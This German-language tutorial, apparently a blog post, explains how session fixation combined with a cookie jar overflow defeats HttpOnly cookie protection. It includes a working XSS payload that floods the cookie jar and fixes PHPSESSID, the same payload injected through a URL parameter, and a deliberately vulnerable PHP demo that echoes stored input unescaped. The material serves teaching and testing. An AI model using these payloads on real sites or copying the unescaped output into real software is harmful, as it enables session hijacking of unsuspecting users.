Auf den ersten Blick könnte man meinen, dass Angreifer mit Cross-Site Scripting (XSS) problemlos Session-Cookies stehlen können. Moderne Sicherheitspraktiken setzen jedoch das HttpOnly-Flag
für Cookies, das verhindert, dass JavaScript auf sie zugreift oder sie ändert. Dies schützt zwar vor vielen gängigen Angriffen, löst das Problem jedoch nicht vollständig, wenn Session Fixation mit einer weniger bekannten Technik kombiniert wird: dem Cookie Jar Overflow Attack.
Session Fixation nutzt die Art und Weise aus, wie Webanwendungen Benutzersitzungen verwalten. Wenn Benutzer mit einer Anwendung in PHP interagieren, wird ihnen eine Sitzungs-ID zugewiesen, die im PHPSESSID-Cookie gespeichert wird. Dieses Cookie identifiziert die Sitzung über Anfragen hinweg und bleibt während der gesamten Aktivität des Benutzers bestehen.
Ein Angreifer kann diesen Mechanismus ausnutzen, indem er die Sitzungs-ID des Opfers festlegt, bevor es sich bei der Anwendung anmeldet. Der Angreifer wartet dann darauf, dass sich der Benutzer mit der voreingestellten Sitzungs-ID anmeldet. Nach der Authentifizierung kann der Angreifer die Sitzung kapern, da er die vom Opfer verwendete Sitzungs-ID bereits kennt.
Beispiel:
<img src="x" onerror="for(let i=999;i--;)document.cookie=`c${i}=${i};Secure`;document.cookie='PHPSESSID=awe2025';">
https://example.com/dashboard.php?search=<img src="x" onerror="for(let i=999;i--;)document.cookie=`c${i}=${i};Secure`;document.cookie='PHPSESSID=awe2025';">
demo.php
<?php
session_start();
if(isset($_POST['name'])){
$_SESSION['name'] = $_POST['name'];
file_put_contents('names.txt', $_POST['name'].PHP_EOL , FILE_APPEND | LOCK_EX);
header('Location: /SessionFixation/');
exit(); //optional
}
if(!empty($_SESSION['name'])){
echo '<h2>Hallo '.htmlentities($_SESSION['name']).'</h2><p>session_id: '.session_id().'</p>';
}else{
echo '<h2>Hallo anonymer</h2><p>session_id: '.session_id().'</p>';
}
?><hr>
<h2>Form</h2><form method="post" action="/SessionFixation/">
<label for="name">First name:</label>
<input type="text" name="name" /><br />
<input type="submit" value="Speichern" />
</form>
<hr>
<h2>Datenausgabe</h2>
<?php
$lines = array();
if ($file = fopen("names.txt", "r")) {
while(!feof($file)) {
$line = fgets($file);
$lines[] = $line;
}
fclose($file);
}
echo implode("<br>",$lines);
/*
Session-Fixation-Angriff
Cookie Jar Overflow
HttpOnly flag
ArthurWeder<img src="x" onerror="for(let i=999;i--;)document.cookie=`c${i}=${i};Secure`;document.cookie='PHPSESSID=awe2025';" style="display:none">
<script>alert(document.cookie)</script>
*/
names.txt
User1
User2
User3